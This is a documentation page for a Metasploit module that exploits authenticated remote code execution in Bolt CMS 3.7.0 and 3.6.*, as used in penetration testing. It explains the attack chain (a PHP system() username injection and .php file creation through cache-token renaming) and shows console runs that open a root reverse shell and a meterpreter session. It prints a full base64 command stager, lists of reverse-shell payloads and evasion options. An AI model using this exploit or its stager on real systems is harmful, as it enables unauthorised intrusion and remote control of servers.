Bolt CMS 3.7.0 - Authenticated Remote Code Execution - Metasploit


This page contains detailed information about how to use the exploit/unix/webapp/bolt_authenticated_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Bolt CMS 3.7.0 - Authenticated Remote Code Execution
Module: exploit/unix/webapp/bolt_authenticated_rce
Source code: modules/exploits/unix/webapp/bolt_authenticated_rce.rb
Disclosure date: 2020-05-07
Last modification time: 2022-06-10 14:01:57 +0000
Supported architecture(s): x86, x64, cmd
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module exploits multiple vulnerabilities in Bolt CMS version 3.7.0 and 3.6.* in order to execute arbitrary commands as the user running Bolt. This module first takes advantage of a vulnerability that allows an authenticated user to change the username in /bolt/profile to a PHP system($_GET[""]) variable. Next, the module obtains a list of tokens from /async/browse/cache/.sessions and uses these to create files with the blacklisted .php extention via HTTP POST requests to /async/folder/rename. For each created file, the module checks the HTTP response for evidence that the file can be used to execute arbitrary commands via the created PHP $_GET variable. If the response is negative, the file is deleted, otherwise the payload is executed via an HTTP get request in this format: /files/<rogue_PHP_file>?<$_GET_var>=<payload> Valid credentials for a Bolt CMS user are required. This module has been successfully tested against Bolt CMS 3.7.0 running on CentOS 7.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • service-resource-loss: Module may cause a resource (such as a file or data in a database) to be unavailable for the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • config-changes: Module modifies some configuration setting on the target machine.
  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


msf > use exploit/unix/webapp/bolt_authenticated_rce
msf exploit(bolt_authenticated_rce) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • USERNAME: Username to authenticate with

  • PASSWORD: Password to authenticate with

Knowledge Base


Vulnerable Application


This module exploits multiple vulnerabilities in Bolt CMS version 3.7.0 and 3.6.* in order to execute arbitrary commands as the user running Bolt.

This module first authenticates to Bolt CMS and visits the profile page to obtain a special token. This token is then used to change the username in /bolt/profile to a PHP system($_GET[""]) variable, using a generated random name. If this succeeds, the target may be vulnerable. The module then proceeds by issuing an HTTP GET request for /bolt/overview/showcases in order to obtain a CSRF token to be used later.

Next, the module obtains a list of filename tokens from /async/browse/cache/.sessions. These tokens are used to create files with the blacklisted .php extention via HTTP POST requests to /async/folder/rename. With the CSRF token obtained before, it is possible to create .php files by "renaming" these cache tokens. While most (if not all) available tokens can be used to created .php files in the /root directory on the server, the resulting files cannot always be used to execute commands. The module excludes tokens with a filesize of under 2000 bytes, as they can't ever be used for this purpose. For the remaining tokens, it seems the easiest way to identify a valid one is to use each token to create a .php file and then check the contents of that file. The module does exactly this, deleting any .php files that can't be used until it finds a file for which the "displayname" value is an empty string (""). This value indicates that the profile username matching this token is the $_GET variable generated earlier, and that the file can be used to execute arbitrary commands. If a valid .php file is created, the module executes the payload via an HTTP get request in this format: /files/<rogue_PHP_file>?<$_GET_variable>=<payload>

The module requires valid credentials for a Bolt CMS user. This module has been successfully tested on Bolt CMS 3.7.0.

Verification Steps


  1. Install the module as usual
  2. Start msfconsole
  3. Do: use exploit/unix/webapp/bolt_authenticated_rce
  4. Do: set RHOSTS [IP]
  5. Do: set USERNAME [username for the Bolt CMS account]
  6. Do: set PASSWORD [password for the Bolt CMS account]
  7. Do: set payload [payload]
  8. Do: set LHOST [IP]
  9. Do: exploit

Options


FILE_TRAVERSAL_PATH

This is the traversal path to get from the /files/ directory on the web server to the /root directory on the server. It is used by the module to write rogue .php files to /root. The default value is ../../../public/files.

PASSWORD

The password for the Bolt CMS account to authenticate with. This option is required.

TARGETURI

The base path to Bolt CMS. The default value is /.

USERNAME

The username for the Bolt CMS account to authenticate with. This option is required.

Scenarios


Bolt CMS 3.7.0 running on CentOS 7

msf5 exploit(unix/webapp/bolt_authenticated_rce) > show options

Module options (exploit/unix/webapp/bolt_authenticated_rce):

   Name                 Current Setting        Required  Description
   ----                 ---------------        --------  -----------
   FILE_TRAVERSAL_PATH  ../../../public/files  yes       Path from the "files" directory to the root folder
   PASSWORD             boltbolt               yes       Password to authenticate with
   Proxies                                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS               192.168.1.4            yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT                8000                   yes       The target port (TCP)
   SRVHOST              0.0.0.0                yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT              8080                   yes       The local port to listen on.
   SSL                  false                  no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI            /                      yes       Base path to Bolt CMS
   URIPATH                                     no        The URI to use for this exploit (default is random)
   USERNAME             bolt                   yes       Username to authenticate with
   VHOST                                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.10   yes       The listen address (an interface may be specified)
   LPORT  4444           yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   Linux (cmd)


msf5 exploit(unix/webapp/bolt_authenticated_rce) > run

[*] Started reverse TCP handler on 192.168.1.10:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. Successfully changed the /bolt/profile username to PHP $_GET variable "nbxnh".
[*] Found 6 potential token(s) for creating .php files.
[+] Used token a0293d73f435515024c2c5d37a to create phfsbswowfp.php.
[*] Attempting to execute the payload via "/files/phfsbswowfp.php?nbxnh=`payload`"
[+] Payload executed!
[+] Deleted file phfsbswowfp.php.
[+] Reverted user profile back to original state.
[*] Command shell session 1 opened (192.168.1.10:4444 -> 192.168.1.4:52008) at 2020-05-26 09:15:19 -0400

id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Bolt CMS 3.7.0 running on Ubuntu 18.04

msf5 exploit(unix/webapp/bolt_authenticated_rce) > options

Module options (exploit/unix/webapp/bolt_authenticated_rce):

   Name                 Current Setting        Required  Description
   ----                 ---------------        --------  -----------
   FILE_TRAVERSAL_PATH  ../../../public/files  yes       Traversal path from "/files" on the web server to "/root" on the server
   PASSWORD             boltbolt               yes       Password to authenticate with
   Proxies                                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS               172.28.128.5           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT                8000                   yes       The target port (TCP)
   SRVHOST              0.0.0.0                yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT              8080                   yes       The local port to listen on.
   SSL                  false                  no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI            /                      yes       Base path to Bolt CMS
   URIPATH                                     no        The URI to use for this exploit (default is random)
   USERNAME             bolt                   yes       Username to authenticate with
   VHOST                                       no        HTTP server virtual host


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.28.128.1     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux (x64)


msf5 exploit(unix/webapp/bolt_authenticated_rce) > run

[*] Started reverse TCP handler on 172.28.128.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. Successfully changed the /bolt/profile username to PHP $_GET variable "qjej".
[*] Found CSRF token: pAuS_pLAjcUd8wPjq7Xus72UE2N0P4YB8HularDy3A0
[*] Found 1 potential token(s) for creating .php files.
[+] Used token a5881f86a828d3810fa0fa64fb to create cojwcnuk.php.
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXKwcgAFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/QtQwu.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/nSljj' < '/tmp/QtQwu.b64' ; chmod +x '/tmp/nSljj' ; '/tmp/nSljj' ; rm -f '/tmp/nSljj' ; rm -f '/tmp/QtQwu.b64'"]
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012516 bytes) to 172.28.128.5
[*] Meterpreter session 1 opened (172.28.128.1:4444 -> 172.28.128.5:41918) at 2020-06-28 22:39:20 -0500
[!] No response, may have executed a blocking payload!
[*] Command Stager progress - 100.00% done (823/823 bytes)
[+] Deleted file cojwcnuk.php.
[+] Reverted user profile back to original state.

meterpreter > getuid
Server username: no-user @ ubuntu-bionic (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > sysinfo
Computer     : 10.0.2.15
OS           : Ubuntu 18.04 (Linux 4.15.0-91-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

Go back to menu.

Msfconsole Usage


Here is how the unix/webapp/bolt_authenticated_rce exploit module looks in the msfconsole:

msf6 > use exploit/unix/webapp/bolt_authenticated_rce

[*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(unix/webapp/bolt_authenticated_rce) > show info

       Name: Bolt CMS 3.7.0 - Authenticated Remote Code Execution
     Module: exploit/unix/webapp/bolt_authenticated_rce
   Platform: Linux, Unix
       Arch: x86, x64, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-05-07

Provided by:
  Sivanesh Ashok
  r3m0t3nu11
  Erik Wynter

Module side effects:
 ioc-in-logs
 config-changes
 artifacts-on-disk

Module stability:
 service-resource-loss

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Linux (x86)
  1   Linux (x64)
  2   Linux (cmd)

Check supported:
  Yes

Basic options:
  Name                 Current Setting        Required  Description
  ----                 ---------------        --------  -----------
  FILE_TRAVERSAL_PATH  ../../../public/files  yes       Traversal path from "/files" on the web server to "/root" on the server
  PASSWORD                                    yes       Password to authenticate with
  Proxies                                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT                8000                   yes       The target port (TCP)
  SRVHOST              0.0.0.0                yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT              8080                   yes       The local port to listen on.
  SSL                  false                  no        Negotiate SSL/TLS for outgoing connections
  SSLCert                                     no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI            /                      yes       Base path to Bolt CMS
  URIPATH                                     no        The URI to use for this exploit (default is random)
  USERNAME                                    yes       Username to authenticate with
  VHOST                                       no        HTTP server virtual host

Payload information:

Description:
  This module exploits multiple vulnerabilities in Bolt CMS version 
  3.7.0 and 3.6.* in order to execute arbitrary commands as the user 
  running Bolt. This module first takes advantage of a vulnerability 
  that allows an authenticated user to change the username in 
  /bolt/profile to a PHP `system($_GET[""])` variable. Next, the 
  module obtains a list of tokens from `/async/browse/cache/.sessions` 
  and uses these to create files with the blacklisted `.php` extention 
  via HTTP POST requests to `/async/folder/rename`. For each created 
  file, the module checks the HTTP response for evidence that the file 
  can be used to execute arbitrary commands via the created PHP $_GET 
  variable. If the response is negative, the file is deleted, 
  otherwise the payload is executed via an HTTP get request in this 
  format: `/files/<rogue_PHP_file>?<$_GET_var>=<payload>` Valid 
  credentials for a Bolt CMS user are required. This module has been 
  successfully tested against Bolt CMS 3.7.0 running on CentOS 7.

References:
  https://www.exploit-db.com/exploits/48296
  https://github.com/bolt/bolt/releases/tag/3.7.1

CVE not available for the following reason:
  0day

Module Options


This is a complete list of options available in the unix/webapp/bolt_authenticated_rce exploit:

msf6 exploit(unix/webapp/bolt_authenticated_rce) > show options

Module options (exploit/unix/webapp/bolt_authenticated_rce):

   Name                 Current Setting        Required  Description
   ----                 ---------------        --------  -----------
   FILE_TRAVERSAL_PATH  ../../../public/files  yes       Traversal path from "/files" on the web server to "/root" on the server
   PASSWORD                                    yes       Password to authenticate with
   Proxies                                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                8000                   yes       The target port (TCP)
   SRVHOST              0.0.0.0                yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT              8080                   yes       The local port to listen on.
   SSL                  false                  no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI            /                      yes       Base path to Bolt CMS
   URIPATH                                     no        The URI to use for this exploit (default is random)
   USERNAME                                    yes       Username to authenticate with
   VHOST                                       no        HTTP server virtual host

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   2   Linux (cmd)

Advanced Options


Here is a complete list of advanced options supported by the unix/webapp/bolt_authenticated_rce exploit:

msf6 exploit(unix/webapp/bolt_authenticated_rce) > show advanced

Module advanced options (exploit/unix/webapp/bolt_authenticated_rce):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   AutoCheck               true                                                no        Run check before exploit
   CMDSTAGER::DECODER                                                          no        The decoder stub to use.
   CMDSTAGER::FLAVOR       auto                                                no        The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_i
                                                                                         nvokewebrequest)
   CMDSTAGER::SSL          false                                               no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                                             no        Writable directory for staged files
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EXE::Custom                                                                 no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                                               no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                                               no        Use the default template in case the specified one is missing
   EXE::Inject             false                                               no        Set to preserve the original EXE function
   EXE::OldMethod          false                                               no        Set to use the substitution EXE generation method.
   EXE::Path                                                                   no        The directory in which to look for the executable template
   EXE::Template                                                               no        The executable template file name.
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   ForceExploit            false                                               no        Override check result
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   ListenerComm                                                                no        The specific communication channel to use for this service
   MSI::Custom                                                                 no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                                               no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                                   no        The directory in which to look for the msi template
   MSI::Template                                                               no        The msi template file name
   MSI::UAC                false                                               no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLCipher                                                                   no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                               no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                                               no        Return a robots.txt file if asked for one
   URIHOST                                                                     no        Host to use in URI (useful for tunnels)
   URIPORT                                                                     no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                5                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse_netcat):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the unix/webapp/bolt_authenticated_rce module can exploit:

msf6 exploit(unix/webapp/bolt_authenticated_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux (x86)
   1   Linux (x64)
   2   Linux (cmd)

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the unix/webapp/bolt_authenticated_rce exploit:

msf6 exploit(unix/webapp/bolt_authenticated_rce) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   3   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   4   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   5   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7   payload/cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   8   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   9   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   10  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   11  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   12  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   13  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   14  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   15  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   16  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   17  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   18  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   19  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   20  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   21  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   22  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   23  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   24  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   25  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   26  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   27  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   28  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   29  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   30  payload/cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   31  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   32  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   33  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   34  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   35  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   36  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   37  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   38  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   39  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   40  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   41  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   42  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   43  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   44  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   45  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   46  payload/generic/custom                                       normal  No     Custom Payload
   47  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   48  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the unix/webapp/bolt_authenticated_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(unix/webapp/bolt_authenticated_rce) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

101:	
102:	  def check
103:	    # obtain token and cookie required for login
104:	    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
105:	
106:	    return CheckCode::Unknown('Connection failed') unless res
107:	
108:	    unless res.code == 200 && res.body.include?('Sign in to Bolt')
109:	      return CheckCode::Safe('Target is not a Bolt CMS application.')
110:	    end
111:	

Target is not a Bolt CMS application.


Here is a relevant code snippet related to the "Target is not a Bolt CMS application." error message:

104:	    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
105:	
106:	    return CheckCode::Unknown('Connection failed') unless res
107:	
108:	    unless res.code == 200 && res.body.include?('Sign in to Bolt')
109:	      return CheckCode::Safe('Target is not a Bolt CMS application.')
110:	    end
111:	
112:	    html = res.get_html_document
113:	    token = html.at('input[@id="user_login__token"]')['value']
114:	    cookie = res.get_cookies

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

124:	        'user_login[login]' => '',
125:	        'user_login[_token]' => token
126:	      }
127:	    })
128:	
129:	    return CheckCode::Unknown('Connection failed') unless res
130:	
131:	    unless res.code == 302 && res.body.include?('Redirecting to /bolt')
132:	      return CheckCode::Unknown('Failed to authenticate to the server.')
133:	    end
134:	

Failed to authenticate to the server.


Here is a relevant code snippet related to the "Failed to authenticate to the server." error message:

127:	    })
128:	
129:	    return CheckCode::Unknown('Connection failed') unless res
130:	
131:	    unless res.code == 302 && res.body.include?('Redirecting to /bolt')
132:	      return CheckCode::Unknown('Failed to authenticate to the server.')
133:	    end
134:	
135:	    @cookie = res.get_cookies
136:	    return unless @cookie
137:	

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

140:	      'method' => 'GET',
141:	      'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
142:	      'cookie' => @cookie
143:	    })
144:	
145:	    return CheckCode::Unknown('Connection failed') unless res
146:	
147:	    unless res.code == 200 && res.body.include?('<title>Profile')
148:	      return CheckCode::Unknown('Failed to authenticate to the server.')
149:	    end
150:	

Failed to authenticate to the server.


Here is a relevant code snippet related to the "Failed to authenticate to the server." error message:

143:	    })
144:	
145:	    return CheckCode::Unknown('Connection failed') unless res
146:	
147:	    unless res.code == 200 && res.body.include?('<title>Profile')
148:	      return CheckCode::Unknown('Failed to authenticate to the server.')
149:	    end
150:	
151:	    html = res.get_html_document
152:	
153:	    @email = html.at('input[@type="email"]')['value'] # this is used later to revert all changes to the user profile

Failed to obtain user email. Using <EMAIL> instead. This will be visible on the user profile.


Here is a relevant code snippet related to the "Failed to obtain user email. Using <EMAIL> instead. This will be visible on the user profile." error message:

153:	    @email = html.at('input[@type="email"]')['value'] # this is used later to revert all changes to the user profile
154:	    unless @email # create fake email if this value is not found
155:	      @email = Rex::Text.rand_text_alpha_lower(5..8)
156:	      @email << "@#{@email}."
157:	      @email << Rex::Text.rand_text_alpha_lower(2..3)
158:	      print_error("Failed to obtain user email. Using #{@email} instead. This will be visible on the user profile.")
159:	    end
160:	
161:	    @profile_token = html.at('input[@id="user_profile__token"]')['value'] # this is needed to rename the user (below)
162:	
163:	    if !@profile_token || @profile_token.to_s.empty?

Authentication failure.


